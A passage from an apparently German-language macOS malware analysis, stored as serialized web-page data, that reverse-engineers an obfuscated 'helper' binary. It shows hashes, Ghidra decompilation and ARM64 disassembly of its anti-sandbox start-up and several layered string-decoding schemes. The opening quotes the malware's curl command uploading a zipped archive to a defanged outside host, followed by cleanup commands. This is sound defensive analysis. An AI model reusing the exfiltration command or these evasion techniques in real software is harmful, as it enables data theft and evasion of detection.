\u003Chw_profile>\"",[1706,2758,2742],{"class":2691},[1706,2760,2762,2765,2768],{"class":2523,"line":2761},4,[1706,2763,2764],{"class":2691},"  -F",[1706,2766,2767],{"class":2705}," \"file=@/tmp/out.zip\"",[1706,2769,2770],{"class":2705}," laislivon[.]com/contact\n",[814,2772,2773],{},"Die Bereinigung folgte unmittelbar:",[2045,2775,2776],{"style":2477},[2479,2777,2779],{"className":2678,"code":2778,"language":2680,"meta":1062,"style":1062},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[2459,2780,2781,2798],{"__ignoreMap":1062},[1706,2782,2783,2786,2789,2791,2793,2795],{"class":2523,"line":2524},[1706,2784,2785],{"class":2687},"rm",[1706,2787,2788],{"class":2691}," -r",[1706,2790,2702],{"class":2701},[1706,2792,2706],{"class":2705},[1706,2794,2710],{"class":2709},[1706,2796,2797],{"class":2701},">\n",[1706,2799,2800,2802],{"class":2523,"line":1063},[1706,2801,2785],{"class":2687},[1706,2803,2716],{"class":2705},[2444,2805],{},[1870,2807,2809],{"id":2808},"stage-2-reverse-engineering-der-helper-binary","Stage 2: Reverse Engineering der 'helper' Binary",[814,2811,816],{},[814,2813,1894,2814,2817],{},[2459,2815,2816],{},"helper","-Binary ist der Teil, in dem diese Analyse wirklich in die Tiefe geht. Es handelt sich um ein professionell obfuskiertes macOS-Executable, das statische Analyse systematisch erschwert und den größten Reverse-Engineering-Aufwand dieser Untersuchung verursachte.",[814,2819,2820],{},"Die gesamte Analyse wurde mit Ghidra und unserem benutzerdefinierten ARM64-Analyse-Workflow durchgeführt.",[809,2822,2824],{"id":2823},"dateieigenschaften","Dateieigenschaften",[814,2826,2471],{},[2045,2828,2830],{"style":2829},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[2831,2832,968,2834,968,2850],"table",{"style":2833},"width:100%; border-collapse: collapse; font-size: 0.85rem",[2835,2836,2837,2838,968],"thead",{},"\n    ",[2839,2840,2841,2842,2841,2847,2837],"tr",{},"\n      ",[2843,2844,2846],"th",{"style":2845},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Eigenschaft",[2843,2848,2849],{"style":2845},"Wert",[2851,2852,2837,2853,2837,2863,2837,2872,2837,2880,2837,2890,2837,2900,968],"tbody",{},[2839,2854,2841,2855,2841,2860,2837],{},[2856,2857,2859],"td",{"style":2858},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[2856,2861,2862],{"style":2858},"Mach-O Universal Binary",[2839,2864,2841,2865,2841,2869,2837],{},[2856,2866,2868],{"style":2867},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[2856,2870,2871],{"style":2867},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[2839,2873,2841,2874,2841,2877,2837],{},[2856,2875,2876],{"style":2858},"Size",[2856,2878,2879],{"style":2858},"15.7 MB",[2839,2881,2841,2882,2841,2885,2837],{},[2856,2883,2884],{"style":2867},"MD5",[2856,2886,2887],{"style":2867},[2459,2888,2889],{},"4599fdf2fa2099b30d8bbf76703dd634",[2839,2891,2841,2892,2841,2895,2837],{},[2856,2893,2894],{"style":2858},"SHA-1",[2856,2896,2897],{"style":2858},[2459,2898,2899],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[2839,2901,2841,2902,2841,2905,2837],{},[2856,2903,2904],{"style":2867},"SHA-256",[2856,2906,2907],{"style":2867},[2459,2908,2909],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[809,2911,2913],{"id":2912},"es-beginnt-vor-main","Es beginnt vor main()",[814,2915,2471],{},[814,2917,2918,2919,2922,2923,2926],{},"Das erste, was wir in Ghidra feststellten: Diese Binary verhält sich nicht wie ein normales Executable. Der eigentliche Einstiegspunkt ist nicht ",[2459,2920,2921],{},"main()",", sondern eine Funktion, die in ",[2459,2924,2925],{},"__mod_init_func"," registriert ist, einem macOS-Mechanismus, der den Dynamic Linker (dyld) anweist, bestimmte Funktionen beim Laden der Binary automatisch auszuführen, noch bevor nutzbarer Code läuft.",[814,2928,2929,2930,2933],{},"Die Init-Funktion bei ",[2459,2931,2932],{},"0x10009f384"," ist der eigentliche Einstiegspunkt der Malware. Hier die Ghidra-Dekompilierung:",[2045,2935,2936],{"style":2477},[2937,2938,2939,2943,2946,2949,976,2953,2957,2958,2960,2961,2964,2965,2979],"code-block",{},[1706,2940,2942],{"style":2941},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[2944,2945],"br",{},[1706,2947,2948],{"style":2941},"// __mod_init_func registered — executes before main()",[1706,2950,2952],{"style":2951},"color:#d73a49","void",[1706,2954,2956],{"style":2955},"color:#6f42c1","FUN_10009f384","(",[1706,2959,2952],{"style":2951},")\n{\n  ",[1706,2962,2963],{"style":2951},"int"," iVar1;\n",[814,2966,2967,2970,2971,2957,2974,2978],{},[1706,2968,2969],{"style":2941},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1706,2972,2973],{"style":2955},"_usleep",[1706,2975,2977],{"style":2976},"color:#005cc5","0x37e",");",[814,2980,2981,2984,2987,2988,2990,2991,2994,2995,2998,2999,3002,3003,3006],{},[1706,2982,2983],{"style":2941},"// Indirect jump table — 14-state machine",[1706,2985,2986],{"style":2941},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1706,2989,2459],{"style":2951}," _)((",[1706,2992,2993],{"style":2951},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1706,2996,2997],{"style":2976},"4"," + ",[1706,3000,3001],{"style":2976},"0x10009f440","))(iVar1);\n",[1706,3004,3005],{"style":2951},"return",";\n}",[814,3008,3009,3010,3013,3014,3017],{},"Zwei Dinge stechen sofort heraus. Erstens das 894-Mikrosekunden-",[2459,3011,3012],{},"usleep"," beim Start: ein Anti-Sandbox-Timing-Signal. Schwerwiegender ist die indirekte Sprungtabelle bei ",[2459,3015,3016],{},"0x10009f43c",". Das ist ein berechneter Branch, bei dem die Zieladresse zur Laufzeit aus einer Lookup-Tabelle ermittelt wird. Statische Analysetools können den Control-Flow-Graphen nicht rekonstruieren; Ghidra protokollierte mehrere \"unreachable block\"-Warnungen beim Versuch, den Ausführungspfad zu verfolgen. Das ist so beabsichtigt.",[814,3019,3020,3021,3024],{},"Die Sprungtabelle treibt eine ",[973,3022,3023],{},"14-Zustands-Ausführungsmaschine"," an. Jeder Zustand führt einen einzelnen diskreten Schritt der Entschlüsselungs- und Ausführungspipeline durch. Der Zustandszähler wird nach jedem Schritt aktualisiert, und die Maschine läuft, bis alle Zustände durchlaufen sind.",[809,3026,3028],{"id":3027},"der-arm64-disassembly-des-state-dispatchers","Der ARM64 Disassembly des State Dispatchers",[814,3030,2471],{},[2045,3032,3033],{"style":2477},[2479,3034,3038],{"className":3035,"code":3036,"language":3037,"meta":1062,"style":1062},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[2459,3039,3040,3045,3050,3055,3060,3066,3072,3078,3084,3090],{"__ignoreMap":1062},[1706,3041,3042],{"class":2523,"line":2524},[1706,3043,3044],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1706,3046,3047],{"class":2523,"line":1063},[1706,3048,3049],{},"10009f41c:  mov w0,#0x37e\n",[1706,3051,3052],{"class":2523,"line":1765},[1706,3053,3054],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1706,3056,3057],{"class":2523,"line":2761},[1706,3058,3059],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1706,3061,3063],{"class":2523,"line":3062},5,[1706,3064,3065],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1706,3067,3069],{"class":2523,"line":3068},6,[1706,3070,3071],{},"10009f42c:  mov w8,w25               ; current state index\n",[1706,3073,3075],{"class":2523,"line":3074},7,[1706,3076,3077],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1706,3079,3081],{"class":2523,"line":3080},8,[1706,3082,3083],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1706,3085,3087],{"class":2523,"line":3086},9,[1706,3088,3089],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1706,3091,3093],{"class":2523,"line":3092},10,[1706,3094,3095],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[809,3097,3099],{"id":3098},"sechs-gestapelte-obfuskierungsschichten","Sechs gestapelte Obfuskierungsschichten",[814,3101,2471],{},[814,3103,3104,3105,3108],{},"Die Binary verwendet sechs verschiedene Obfuskierungsschichten, gestapelt und verkettet, sodass die Ausgabe jeder Schicht in die nächste eingespeist wird. Jeder Payload, jeder String, jede interne Konstante ist kodiert. Im ",[2459,3106,3107],{},"__const","-Segment erscheint nichts Bedeutungsvolles im Klartext. Was folgt, ist eine vollständige schichtweise Aufschlüsselung, direkt in Ghidra verifiziert, bis hinunter zu einzelnen ARM64-Instruktionen. Jede der verwendeten Techniken ist für sich allein bekannt; ihre verkettete Anwendung über mehrere Stufen schuf jedoch einen stark voneinander abhängigen Ausführungsfluss, der die statische und dynamische Analyse erheblich erschwerte.",[2444,3110],{},[1684,3112,3114],{"id":3113},"layer-1-compile-time-triplet-kodierung","Layer 1: Compile-Time-Triplet-Kodierung",[814,3116,2609],{},[814,3118,3119,3120,3123],{},"Kein String in der Binary ist als Zeichenfolge gespeichert, sondern als Sequenz von 12-Byte-Arithmetik-Triplets. Jedes Triplet ",[2459,3121,3122],{},"(a, b, shift)"," kodiert genau ein Ausgabezeichen. Das Kodierungsschema wird zur Kompilierzeit angewendet, sodass kein String jemals als Klartext in der Binary existiert, nicht einmal vorübergehend beim Laden.",[814,3125,3126,3127,3130,3131,3134,3135,3138,3139,3130,3142,3145,3146,3149],{},"Zwei separate Decoder-Funktionen behandeln unterschiedliche String-Größen. ",[2459,3128,3129],{},"FUN_100087c08"," bei ",[2459,3132,3133],{},"0x100087c08"," dekodiert 60-Zeichen-Strings (720 Byte Eingabedaten aus ",[2459,3136,3137],{},"DAT_1006292cc","). ",[2459,3140,3141],{},"FUN_10007ad80",[2459,3143,3144],{},"0x10007ad80"," dekodiert 56-Zeichen-Strings (672 Byte aus ",[2459,3147,3148],{},"DAT_10049708c","). Beide verwenden denselben Algorithmus.",[2045,3151,3152],{"style":2477},[2937,3153,3154,3157,3159,3162,976,3164,2957,3166,3169,3170,3172,3173,3175,3176,3178,3179,3182,3183],{},[1706,3155,3156],{"style":2941},"// FUN_100087c08 @ 0x100087c08",[2944,3158],{},[1706,3160,3161],{"style":2941},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1706,3163,2952],{"style":2951},[1706,3165,3129],{"style":2955},[1706,3167,3168],{"style":2951},"long"," *param_1)\n{\n  ",[1706,3171,3168],{"style":2951}," *plVar1;\n  ",[1706,3174,2952],{"style":2951}," *pvVar2;\n  ",[1706,3177,3168],{"style":2951}," lVar3;\n  ",[1706,3180,3181],{"style":2951},"uint"," *puVar4;\n",[814,3184,3185,3186,2957,3189,3192,3193,3198,3201,3202,3192,3204,3207,3209,3212,3213,3216,3217,3192,3220,3223,3224,3226,3227,2990,3229,3231,3232,3235,3236,3239,3240,3242,3243,3246,3247,3250,3251,2990,3254,3256,3257,3260,3261,3264,3266,3269,3270,2990,3272,3274,3275,3277,3278,3280,3281,3286,3287,3290,3291,3296,3297,3300,3301,3303,3304,3309,3310,3312,3313,3315,3316,3319,3320,3323,3324,3192,3326,3329,3331,3334,3335,3006],{},"pvVar2 = ",[1706,3187,3188],{"style":2955},"operator_new",[1706,3190,3191],{"style":2976},"0x2d0","); ",[1706,3194,3195,3196],{"style":2941},"// allocate 720 bytes (60 triplets × 12)",[2944,3197],{},[1706,3199,3200],{"style":2955},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1706,3203,3191],{"style":2976},[1706,3205,3206],{"style":2941},"// copy encoded triplets from __const",[2944,3208],{},[1706,3210,3211],{"style":2955},"FUN_1000a0840","(param_1, ",[1706,3214,3215],{"style":2976},"0x3c",", ",[1706,3218,3219],{"style":2976},"0",[1706,3221,3222],{"style":2941},"// init 60-char output buffer","\nlVar3 = ",[1706,3225,3219],{"style":2976},";\npuVar4 = (",[1706,3228,3181],{"style":2951},[1706,3230,3168],{"style":2951},")pvVar2 + ",[1706,3233,3234],{"style":2976},"8",");\n",[1706,3237,3238],{"style":2951},"do"," {\nplVar1 = (",[1706,3241,3168],{"style":2951}," _)_param_1;\n",[1706,3244,3245],{"style":2951},"if"," (-",[1706,3248,3249],{"style":2976},"1"," \u003C _(",[1706,3252,3253],{"style":2951},"char",[1706,3255,3168],{"style":2951},")param_1 + ",[1706,3258,3259],{"style":2976},"0x17",")) {\nplVar1 = param_1;\n}\n",[1706,3262,3263],{"style":2941},"// THE DECODE FORMULA, one character per triplet:",[2944,3265],{},[1706,3267,3268],{"style":2941},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1706,3271,3253],{"style":2951},[1706,3273,3168],{"style":2951},")plVar1 + lVar3) =\n(",[1706,3276,3253],{"style":2951},")((",[1706,3279,2963],{"style":2951},")(puVar4",[1706,3282,3283,3284],{},"-",[1706,3285,3249],{"style":2976}," * ",[1706,3288,3289],{"style":2976},"3"," ^ puVar4",[1706,3292,3283,3293],{},[1706,3294,3295],{"style":2976},"2",") >> (*puVar4 & ",[1706,3298,3299],{"style":2976},"0x1f",")) - (",[1706,3302,3253],{"style":2951},")puVar4",[1706,3305,3306],{},[1706,3307,3308],{"style":2976},"-1",";\nlVar3 = lVar3 + ",[1706,3311,3249],{"style":2976},";\npuVar4 = puVar4 + ",[1706,3314,3289],{"style":2976},"; ",[1706,3317,3318],{"style":2941},"// advance 12 bytes — next triplet","\n} ",[1706,3321,3322],{"style":2951},"while"," (lVar3 != ",[1706,3325,3215],{"style":2976},[1706,3327,3328],{"style":2941},"// loop exactly 60 times",[2944,3330],{},[1706,3332,3333],{"style":2955},"operator_delete","(pvVar2);\n",[1706,3336,3005],{"style":2951},[814,3338,3339],{},"Der entsprechende ARM64-Assembly, wobei jede Instruktion direkt einer Operation in der Formel entspricht:",[2045,3341,3342],{"style":2477},[2479,3343,3346],{"className":3344,"code":3345,"language":1813},[2482],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[2459,3347,3345],{"__ignoreMap":1062},[814,3349,3350,3351,3354,3355,3358],{},"Bemerkenswert: Die Multiplikation ",[2459,3352,3353],{},"b × 3"," ist als ",[2459,3356,3357],{},"add w12, w11, w11, LSL #1"," implementiert, ein Shift-and-Add, der eine Multiplikationsinstruktion vollständig vermeidet. Das ist eine klassische Compiler-Optimierung, die den Code zugleich schwerer per Signatur-Matching auffindbar macht.",[814,3360,3361],{},"Die vollständige Dekodierungsformel:",[2045,3363,3364],{"style":2477},[2479,3365,3368],{"className":3366,"code":3367,"language":1813},[2482],"char = ASR( (b × 3) XOR a, shift ) − b\n",[2459,3369,3367],{"__ignoreMap":1062},[814,3371,3372,3373,3376,3377,3380,3381,3384],{},"Der ",[2459,3374,3375],{},"ASR"," (Arithmetic Shift Right) ist entscheidend: Er bewahrt das Vorzeichenbit. Wenn das Zwischenergebnis von ",[2459,3378,3379],{},"(b×3) XOR a"," negativ ist, was häufig vorkommt, würde ein logischer Shift ein völlig anderes Ergebnis liefern. Das ist beabsichtigt: Wer die Formel in einer höheren Programmiersprache mit ",[2459,3382,3383],{},">>"," nachimplementiert, erhält stillschweigend falsche Ausgaben, sofern die vorzeichenbehaftete Arithmetik nicht explizit berücksichtigt wird.",[814,3386,3387,3388,3390,3391,3393,3394,3397],{},"Die 56-Zeichen-Variante ",[2459,3389,3141],{}," ist strukturell identisch, arbeitet auf ",[2459,3392,3148],{}," mit einem Loop-Limit von ",[2459,3395,3396],{},"0x38",". Beide Funktionen wurden während dieser Analyse live in Ghidra bestätigt.",[2444,3399],{},[1684,3401,3403],{"id":3402},"layer-2-hex-string-kodierung","Layer 2: Hex-String-Kodierung",[814,3405,2609],{},[814,3407,3408,3409,3412,3413,3130,3416,3419,3420,3423],{},"Die von Layer 1 erzeugten Rohbytes sind selbst ASCII-Hex-Zeichen, keine Binärdaten. Die Ausgabe eines Layer-1-Triplet-Decodes ist ein String aus Hex-Paaren: ",[2459,3410,3411],{},"32694e5462...",". Das wird durch die Decoder-Funktion ",[2459,3414,3415],{},"FUN_100000dc0",[2459,3417,3418],{},"0x100000dc0"," bestätigt, die einen Hex-Decode über eine Lookup-Tabelle bei ",[2459,3421,3422],{},"DAT_1007bb591"," implementiert.",[814,3425,3426,3427,3283,3430,3216,3433,3283,3436,3216,3439,3283,3442,3445],{},"Der Ghidra-Decompile zeigt eine Switch-Anweisung, die jedes Hex-Zeichen (",[2459,3428,3429],{},"0x30",[2459,3431,3432],{},"0x39",[2459,3434,3435],{},"0x41",[2459,3437,3438],{},"0x46",[2459,3440,3441],{},"0x61",[2459,3443,3444],{},"0x66",") auf seinen Nibble-Wert abbildet und Ausgabebytes jeweils zwei Zeichen auf einmal zusammensetzt:",[2045,3447,3448],{"style":2477},[2937,3449,3450,3453,3456,3459,3460,3463,3464,3466,3467,976,3470,3472,3473,3476,3477,968,3480,976,3482,3485,3486,3315,3489,3491,3492,968,3495,976,3497,3485,3500,3315,3503,3491,3505,968,3508,968,3511,976,3513,3472,3515,976,3517,3485,3519,3315,3522,3524,3525,968,3528,976,3530,3472,3533,976,3535,3485,3538,3315,3541,3524,3543,968,3546,976,3548,3472,3551,976,3553,3556,3557,3315,3560,3524,3562,968,3565,976,3567,3472,3570,976,3572,3575,3576,3315,3579,3524,3581,968,3584,976,3586,3472,3589,976,3591,3485,3594,3315,3597,3524,3599,968,3602,976,3604,3472,3606,976,3608,3485,3610,3315,3613,3524,3615,3618,3619,3622,3623,3463,3626,3628,3629,3631,3632,3635],{},[1706,3451,3452],{"style":2941},"// FUN_100000dc0 @ 0x100000dc0",[1706,3454,3455],{"style":2941},"// Hex decoder, processes input two characters per output byte",[1706,3457,3458],{"style":2951},"switch","(*(",[1706,3461,3462],{"style":2951},"undefined1"," *)((",[1706,3465,3168],{"style":2951},")plVar2 + lVar7)) {\n  ",[1706,3468,3469],{"style":2951},"case",[1706,3471,3429],{"style":2976},": ",[1706,3474,3475],{"style":2951},"break",";                  ",[1706,3478,3479],{"style":2941},"// '0' → 0x00",[1706,3481,3469],{"style":2951},[1706,3483,3484],{"style":2976},"0x31",": bVar9 = ",[1706,3487,3488],{"style":2976},"0x10",[1706,3490,3475],{"style":2951},";   ",[1706,3493,3494],{"style":2941},"// '1' → 0x10",[1706,3496,3469],{"style":2951},[1706,3498,3499],{"style":2976},"0x32",[1706,3501,3502],{"style":2976},"0x20",[1706,3504,3475],{"style":2951},[1706,3506,3507],{"style":2941},"// '2' → 0x20",[1706,3509,3510],{"style":2941},"// ... '3' through '9' ...",[1706,3512,3469],{"style":2951},[1706,3514,3435],{"style":2976},[1706,3516,3469],{"style":2951},[1706,3518,3441],{"style":2976},[1706,3520,3521],{"style":2976},"0xa0",[1706,3523,3475],{"style":2951},";  ",[1706,3526,3527],{"style":2941},"// 'A'/'a' → 0xa0",[1706,3529,3469],{"style":2951},[1706,3531,3532],{"style":2976},"0x42",[1706,3534,3469],{"style":2951},[1706,3536,3537],{"style":2976},"0x62",[1706,3539,3540],{"style":2976},"0xb0",[1706,3542,3475],{"style":2951},[1706,3544,3545],{"style":2941},"// 'B'/'b' → 0xb0",[1706,3547,3469],{"style":2951},[1706,3549,3550],{"style":2976},"0x43",[1706,3552,3469],{"style":2951},[1706,3554,3555],{"style":2976},"99",":   bVar9 = ",[1706,3558,3559],{"style":2976},"0xc0",[1706,3561,3475],{"style":2951},[1706,3563,3564],{"style":2941},"// 'C'/'c' → 0xc0",[1706,3566,3469],{"style":2951},[1706,3568,3569],{"style":2976},"0x44",[1706,3571,3469],{"style":2951},[1706,3573,3574],{"style":2976},"100",":  bVar9 = ",[1706,3577,3578],{"style":2976},"0xd0",[1706,3580,3475],{"style":2951},[1706,3582,3583],{"style":2941},"// 'D'/'d' → 0xd0",[1706,3585,3469],{"style":2951},[1706,3587,3588],{"style":2976},"0x45",[1706,3590,3469],{"style":2951},[1706,3592,3593],{"style":2976},"0x65",[1706,3595,3596],{"style":2976},"0xe0",[1706,3598,3475],{"style":2951},[1706,3600,3601],{"style":2941},"// 'E'/'e' → 0xe0",[1706,3603,3469],{"style":2951},[1706,3605,3438],{"style":2976},[1706,3607,3469],{"style":2951},[1706,3609,3444],{"style":2976},[1706,3611,3612],{"style":2976},"0xf0",[1706,3614,3475],{"style":2951},[1706,3616,3617],{"style":2941},"// 'F'/'f' → 0xf0","\n}\n",[1706,3620,3621],{"style":2941},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1706,3624,3625],{"style":2951},"byte",[1706,3627,3168],{"style":2951},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1706,3630,2993],{"style":2951},")uVar4 & ",[1706,3633,3634],{"style":2976},"0xff","] | bVar9;\n",[814,3637,3638],{},"Der ARM64-Assembly treibt dies mit einer sekundären Computed-Branch-Tabelle an und implementiert so faktisch eine 55-Einträge-Sprungtabelle für den Switch:",[2045,3640,3641],{"style":2477},[2479,3642,3645],{"className":3643,"code":3644,"language":1813},[2482],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[2459,3646,3644],{"__ignoreMap":1062},[814,3648,3649],{},"Zwei berechnete Branches in einem 24-Byte-Fenster. Statische Analysetools kommen mit diesem Muster nicht zurecht, weil beide Branch-Ziele zur Analysezeit unbekannt sind.",[814,3651,3652],{},"Ein 137.208 Zeichen langer Hex-String ergibt nach der Dekodierung 68.604 Byte, die dann in Layer 3 eingespeist werden.",[2444,3654],{},[1684,3656,3658],{"id":3657},"layer-3-benutzerdefiniertes-16-symbol-nibble-alphabet","Layer 3: Benutzerdefiniertes 16-Symbol-Nibble-Alphabet",[814,3660,2609],{},[814,3662,3663],{},"Die 68.604 Ausgabebytes aus Layer 2 verwenden nur 16 eindeutige Bytewerte aus zwei nicht zusammenhängenden ASCII-Bereichen:",[965,3665,3666,3715],{},[970,3667,3668,3671,3672,3216,3675,3216,3678,3216,3681,3216,3684,3216,3687,3216,3690,3216,3693,3216,3695,3216,3698,3216,3701,3216,3704,3216,3707,3216,3709,3216,3712],{},[2459,3669,3670],{},"0x20-0x2F",": Leerzeichen, ",[2459,3673,3674],{},"!",[2459,3676,3677],{},"\"",[2459,3679,3680],{},"#",[2459,3682,3683],{},"$",[2459,3685,3686],{},"%",[2459,3688,3689],{},"&",[2459,3691,3692],{},"'",[2459,3694,2957],{},[2459,3696,3697],{},")",[2459,3699,3700],{},"*",[2459,3702,3703],{},"+",[2459,3705,3706],{},",",[2459,3708,3283],{},[2459,3710,3711],{},".",[2459,3713,3714],{},"/",[970,3716,3717,3472,3720,3216,3723,3216,3726,3216,3729,3216,3732,3216,3735,3216,3738,3741],{},[2459,3718,3719],{},"0x78-0x7F",[2459,3721,3722],{},"x",[2459,3724,3725],{},"y",[2459,3727,3728],{},"z",[2459,3730,3731],{},"{",[2459,3733,3734],{},"|",[2459,3736,3737],{},"}",[2459,3739,3740],{},"~",", DEL",[814,3743,3744],{},"Das ist eine bewusste Designentscheidung. In einem Hex-Editor sehen diese Bytes aus wie Leerzeichen, Satzzeichen und ASCII-Randzeichen; sie verschwimmen im Rauschen dessen, was wie Metadaten oder Padding wirkt. Ein Analyst, der einen Hex-Dump überfliegt, wird diese Bytebereiche nicht als verdächtig markieren, und Standard-Entropieanalysen unterschätzen die effektive Entropie, weil die Byteverteilung nicht zufällig erscheint.",[814,3746,3747,3748,3751,3752,3755,3756,3759,3760,3763],{},"Jedes Byte aus diesem Alphabet kodiert ein Nibble des eigentlichen Payloads. Die Alphabet-zu-Nibble-Zuordnung wird von der Encode-/Decode-Funktion ",[2459,3749,3750],{},"FUN_100000d60"," angewendet, die wir bei ",[2459,3753,3754],{},"0x100000d60"," bestätigten. Sie verkettet zwei Sub-Funktionen: ",[2459,3757,3758],{},"FUN_100000b50"," erstellt eine indizierte Map der Zeichen des Eingabe-Strings, und ",[2459,3761,3762],{},"FUN_100000c34"," durchläuft diese Map, verbraucht 6 Bit pro Schritt und akkumuliert Ausgabebytes 8 Bit auf einmal:",[2045,3765,3766],{"style":2477},[2937,3767,3768,3771,3772,3774,3775,3777,3778,3780,3781,3784,3785,968,3788,3790,3791,3793,3794,2837,3797,3799,3800,3803,3804,3806,3807,2837,3810,3812,3813,3816,3817,3820,3821,3823,3824,3827,3828,3830,3831,3463,3834,3836,3837,3839,3840,3842],{},[1706,3769,3770],{"style":2941},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1706,3773,3219],{"style":2976},";\n",[1706,3776,3238],{"style":2951}," {\n  local_52 = *(",[1706,3779,3462],{"style":2951}," *)puVar4;\n  lVar3 = ",[1706,3782,3783],{"style":2955},"FUN_1000a078c","(param_3, &local_52);  ",[1706,3786,3787],{"style":2941},"// look up nibble value",[1706,3789,3245],{"style":2951}," (lVar3 == ",[1706,3792,3219],{"style":2976},") {\n    ",[1706,3795,3796],{"style":2941},"// character not in alphabet, treat as raw",[1706,3798,3783],{"style":2955},"(param_3, &local_51);\n  } ",[1706,3801,3802],{"style":2951},"else"," {\n    iVar5 = iVar5 + ",[1706,3805,2997],{"style":2976},";           ",[1706,3808,3809],{"style":2941},"// accumulate 4 bits",[1706,3811,3322],{"style":2951}," (",[1706,3814,3815],{"style":2976},"7"," \u003C iVar5) {\n      std::string::",[1706,3818,3819],{"style":2955},"push_back","((",[1706,3822,3253],{"style":2951},")param_1);  ",[1706,3825,3826],{"style":2941},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1706,3829,3234],{"style":2976},";\n    }\n  }\n  puVar4 = (",[1706,3832,3833],{"style":2951},"undefined8",[1706,3835,3168],{"style":2951},")puVar4 + ",[1706,3838,3249],{"style":2976},");\n} ",[1706,3841,3322],{"style":2951}," (puVar4 != puVar1);\n",[814,3844,3845],{},"Die 34.302 Byte, die aus diesem Durchlauf hervorgehen, sind zu 99,7% druckbares ASCII. Auf den ersten flüchtigen Blick sieht der Payload in dieser Stufe aus wie ein großes Shell-Skript oder ein Konfigurations-Blob.",[2444,3847],{},[1684,3849,3851],{"id":3850},"layer-4-compile-time-string-obfuskierung","Layer 4: Compile-Time-String-Obfuskierung",[814,3853,2609],{},[814,3855,3856],{},"Intern genutzte Strings werden zur Kompilierzeit mit demselben Triplet-Schema wie Layer 1 obfuskiert und zur Laufzeit unmittelbar vor ihrer Verwendung rekonstruiert. Im Speicher halten sie sich nie länger als nötig auf; der Buffer wird nach dem Verbrauch sofort freigegeben. In den statischen Datensektionen der Binary ist zu keinem Zeitpunkt ein dekodierter String sichtbar.",[814,3858,3859,3860,3863],{},"Die String-Hash-Funktion ",[2459,3861,3862],{},"FUN_100000730"," liefert eine sekundäre Obfuskierungsschicht für String-Vergleiche. Statt Strings direkt zu vergleichen, was Klartext im Speicher hinterlassen würde, berechnet und vergleicht die Binary Integer-Hashes:",[2045,3865,3866],{"style":2477},[2937,3867,3868,3871,3874,976,3876,2957,3878,3169,3880,3882,3883,3886,3887,968,3890,968,3893,3896,3897,3899,3900,3902,3903,3905,3906,3524,3909,3912,3913,3915,3916,3918],{},[1706,3869,3870],{"style":2941},"// FUN_100000730 @ 0x100000730",[1706,3872,3873],{"style":2941},"// FNV-style string hash, avoids plaintext string comparisons",[1706,3875,2963],{"style":2951},[1706,3877,3862],{"style":2955},[1706,3879,3253],{"style":2951},[1706,3881,2963],{"style":2951}," iVar4 = ",[1706,3884,3885],{"style":2976},"0x19a8",";    ",[1706,3888,3889],{"style":2941},"// FNV offset basis (modified)",[1706,3891,3892],{"style":2941},"// ...",[1706,3894,3895],{"style":2951},"for"," (; uVar3 != ",[1706,3898,3219],{"style":2976},"; uVar3 = uVar3 - ",[1706,3901,3249],{"style":2976},") {\n    iVar4 = (",[1706,3904,2963],{"style":2951},")*pcVar1 + iVar4 * 